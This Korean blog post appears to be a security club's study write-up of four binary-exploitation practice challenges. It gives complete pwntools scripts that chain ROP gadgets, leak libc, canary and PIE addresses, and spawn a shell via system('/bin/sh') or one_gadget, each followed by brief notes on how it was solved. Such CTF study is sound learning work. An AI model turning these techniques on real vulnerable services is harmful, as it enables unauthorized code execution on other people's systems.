CyKor week6

soon_haari·2022년 7월 2일
0

cykor_seminar

목록 보기
3/6

rop1

exploit.py

from pwn import *
#32 bit!

p=process("./rop1")
e=ELF("./rop1")
libc=e.libc

bss = 0x804c008+0x300
read_plt = 0x80490b0
read_got = 0x804bfd4
write_plt = 0x8049100
write_got = 0x804bfec
main = 0x80492ca
pop3ret = 0x8049381

one_gadget = [0xc9bab, 0x14480b, 0x14480c]

payload = b"A"*0x44
payload += b"B"*0x4

payload += p32(write_plt)
payload += p32(pop3ret)
payload += p32(0x1)
payload += p32(read_got)
payload += p32(0x4)

payload += p32(main)
p.send(payload)

p.recvline()
a=u32(p.recv(4))
#p.sendline(b"/bin/sh\x00")

libc_base = a - libc.symbols['read']

print(hex(libc_base))



payload2 = b"A"*0x44
payload2 += b"B"*0x4

payload2 += p32(read_plt)
payload2 += p32(pop3ret)
payload2 += p32(0x0)
payload2 += p32(bss)
payload2 += p32(0x8)

payload2 += p32(libc_base + libc.symbols['system'])
payload2 += p32(pop3ret+2)
payload2 += p32(bss)
p.send(payload2)

p.send(b"/bin/sh\x00")

p.interactive()

Shell


One_gadget에는 생각한 것보다 사용하는 데 복잡한 조건이 달려있는 경우가 많다는 것을 알았다.

일반적으로 system에 binsh를 넣어서 실행하는 것이 가장 간단해 보인다.

간단히 libc_base를 구해서 풀 수 있는 문제였다.

got을 하나 출력해서 그걸을 입력받아 libc_base를 구하는 방법은 깊이 새겨두어야 할 것 같다.

차이가 있다면 함수를 3개나 사용해야 하는 것이 귀찮으면서도 새로웠다.




rop2

exploit.py

from pwn import *
#64 bit!

p=process("./rop2")
e=ELF("./rop2")
libc=e.libc

bss = 0x404020+0x300
gets_plt = 0x4010c0
gets_got = 0x403fd8
puts_plt = 0x401090
puts_got = 0x403fc0
main = 0x401268
rdir = 0x401313

one_gadget = [0xe3b2e, 0xe3b31, 0xe3b34]

payload = b"A"*0x40
payload += b"B"*0x8

payload += p64(rdir)
payload += p64(gets_got)
payload += p64(puts_plt)

payload += p64(main)
p.sendline(payload)

p.recvline()
a=u64(p.recv(6).ljust(8,b"\x00"))
#p.sendline(b"/bin/sh\x00")

libc_base = a - libc.symbols['gets']

print(hex(libc_base))


payload2 = b"A"*0x40
payload2 += b"B"*0x8

payload2 += p64(rdir)
payload2 += p64(bss)
payload2 += p64(gets_plt)

payload2 += p64(rdir)
payload2 += p64(bss)
payload2 += p64(libc_base + libc.symbols['system'])
p.send(payload2)

p.sendline(b"/bin/sh\x00")

p.interactive()

Shell


rop1과 완전히 같은 방식으로 풀 수 있는 문제였다.

차이점은 64비트라는 점과 puts, gets 함수를 사용한다는 점이었다.

puts, gets, system 모두 매개변수 하나로 해결되기 때문에 pop rdi; ret; 가젯 하나만으로 해결할 수 있었다.




S3

exploit.py

from pwn import *
#64 bit!

p=process("./S3")
e=ELF("./S3")
libc=e.libc

#local_0
p.sendline(b"1")
p.sendline(b"256")
p.sendline(b"a"*0x100)

#local_1
p.sendline(b"1")
p.sendline(b"255")
p.sendline(b"a"*0xff)

#local_0_to_global
p.sendline(b"3")
p.sendline(b"0")

i = 0
while i < 15:
    p.sendline(b"1")
    p.sendline(b"256")
    p.sendline(b"a"*0x100)
    i += 1

#global_to_local_e
p.sendline(b"4")
p.sendline(b"14")

#local_0(binsh)_to_global
p.sendline(b"3")
p.sendline(b"0")
binsh = 0x404060 + 0x8

#show local_f + canary
p.sendline(b"5")
p.sendline(b"2")
p.sendline(b"15")
p.sendline(b"272")

p.recvuntil(b"a"*0x100)
canary = p.recv(16)

payload = (b"A"*0x100)
payload += canary
payload += (b"B"*8)
#now ret
puts_plt = 0x4010e0
puts_got = 0x403f98
rdir = 0x401de3
main = 0x401c3b
payload += p64(rdir)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

#local_f_setting
p.sendline(b"2")
p.sendline(b"15")
p.sendline(b"312")
p.sendline(payload)

#exit_ret
p.sendline(b"6")

p.recvuntil("bye~\n")
puts_got_real = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = puts_got_real - libc.symbols['puts']

#local_0
p.sendline(b"1")
p.sendline(b"256")
p.sendline(b"a"*0x100)

#local_1
p.sendline(b"1")
p.sendline(b"255")
p.sendline(b"a"*0xff)

#local_0_to_global
p.sendline(b"3")
p.sendline(b"0")

i = 0
while i < 15:
    p.sendline(b"1")
    p.sendline(b"256")
    p.sendline(b"a"*0x100)
    i += 1

#global_to_local_e
p.sendline(b"4")
p.sendline(b"14")

one_gadget = [0xe3b2e, 0xe3b31, 0xe3b34]
r12r13r14r15r = 0x401ddc

payload2 = (b"A"*0x100)
payload2 += canary
payload2 += (b"B"*8)
#now ret
payload2 += p64(r12r13r14r15r)
payload2 += p64(0)*4
payload2 += p64(libc_base + one_gadget[0])

#local_f_set, again
p.sendline(b"2")
p.sendline(b"15")
p.sendline(b"328")
p.sendline(payload2)

#exit_ret
p.sendline(b"6")

p.interactive()

Shell


고수들한테는 쉬운 문제겠지만 나한테는 풀었다는 것이 너무 뿌듯한 문제였다.

이 문제에서 기본적인 방향은 코드를 30분간 계속 뚫어져라 쳐다보니 local_storage 가 붙어있다는 점에서 strcpy의 취약점을 이용할 수 있을 거라는 생각이 들었다.

size에 0이 아닌 값을 넣으면 그 전 data를 strcpy하면 0x101개의 바이트를 옮길 수 있을 거라는 생각을 하고 코드를 보니 그 다음 바이트도 1로 만들 수 있음을 알게 되었다.

결과적으로 최대 0x1ff의 바이트를 저장할 수 있게 만들 수 있었다. 코드를 읽어보니 몇 함수들은 MAX_SIZE와 비교해서 0x100을 넘어가면 에러가 뜨게 하지만, 몇 함수(edit, l2g, g2l)는 기존 size와 비교하기 때문에 그 취약점 또한 이용할 수 있었다.

그것을 이용해서 local_storage[15]에 긴 스트링을 넣을 수 있겠다는 생각을 하고 구현하였더니 스택 에러가 떠서 canary라는 개념을 또 공부하게 되는 계기가 되었다.

show 함수를 이용해서 local_storage[15]뒤에 있는 canary를 읽을 수 있겠다는 생각은 어렵지 않게 할 수 있었다.

총 payload를 두번 내보내는 방법으로 문제를 해결하였고, system(binsh)와 같은 방식으로는 system 함수가 왜인지 모를 이유로 작동하지 않았다. puts는 잘 동작하는데 system이 작동하지 않는 것이 의아했다. 하지만 one_gadget 3개중에서 하나의 조건은 rdx가 포함되지 않고, r12, r15만 포함하는 gadget이 있어서 pop r12~r15, ret 가젯을 이용해서 null을 r12와 r15에 집어넣고 쉘을 딸 수 있었다.




gift

exploit.py

from pwn import *
#64 bit!

p=process("./gift")
e=ELF("./gift")
libc=e.libc

p.sendline(b"1")
p.sendafter(" :", b"A"*16)
p.recvuntil(b"A"*16)

sfp = u64(p.recv(6).ljust(8,b"\x00"))


p.sendline(b"-2")
p.sendline(str(sfp + 8).encode())

p.recvuntil(b"*address = ")

ret = int(p.recv(14), 16)
real_main = ret - 34


p.sendline(b"123")

main = 0x14c0
puts_plt = 0x10a0
puts_got = 0x3fa8
rdir = 0x1573
rsir = 0x1571
r12131415r = 0x156b
pie_base = real_main - main
one_gadget = [0xe3b2e, 0xe3b31, 0xe3b34]
main_skip_functions = main + 34

print("pie_base: "+hex(pie_base))

payload = b"A"*0x20
payload += b"b"*8
payload += p64(pie_base + rdir)
payload += p64(pie_base + puts_got)
payload += p64(pie_base + puts_plt)
payload += p64(pie_base + main)
p.send(payload)

p.recvuntil(b"^__^\n")
real_puts_got = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = real_puts_got - libc.symbols['puts']
print("libc_base: "+hex(libc_base))


bss = 0x4010 + 0x300
p.sendlineafter(b":", b"123")
payload2 = b"A"*0x20
payload2 += b"b"*8
payload2 += p64(pie_base + rdir+1)
payload2 += p64(pie_base + rdir)
payload2 += p64(libc_base + 0x1b45bd)
payload2 += p64(libc_base + libc.symbols['system'])
payload2 += p64(pie_base + main)
payload2 += p64(0)*10
p.sendafter(b"_^", payload2)

p.interactive()

print_name에서 sfp를 유출할 수 있다는 것을 알 수 있었다.

굳이 주소를 2번 출력할 필요 없이 주소 한번 출력으로 pie_base를 알아낼 수 있었다.

print_name의 sfp에서 8바이트만큼 이동한 주소에는 main+34가 저장되어 있다.

얻은 값에서 34를 빼고, gdb에서 기본 main의 주소를 빼면 pie_base를 알아낼 수 있다.

pie_base를 알고 있기 때문에 gadget과 puts를 사용할 수 있다. 이를 이용해서 puts_got을 출력해 입력받아 libc_base를 구할 수 있다.

그 뒤로 시도한 것은, gets(bss) 후 system(bss), one_gadget이었는데 둘 다 작동하지 않았다.

결과적으로는 system함수는 정상적으로 작동하였고, libc에서 one_gadget을 통해 binsh를 받을 수 있는 방법을 알게 되었다.

profile
I'm such a good surfer

0개의 댓글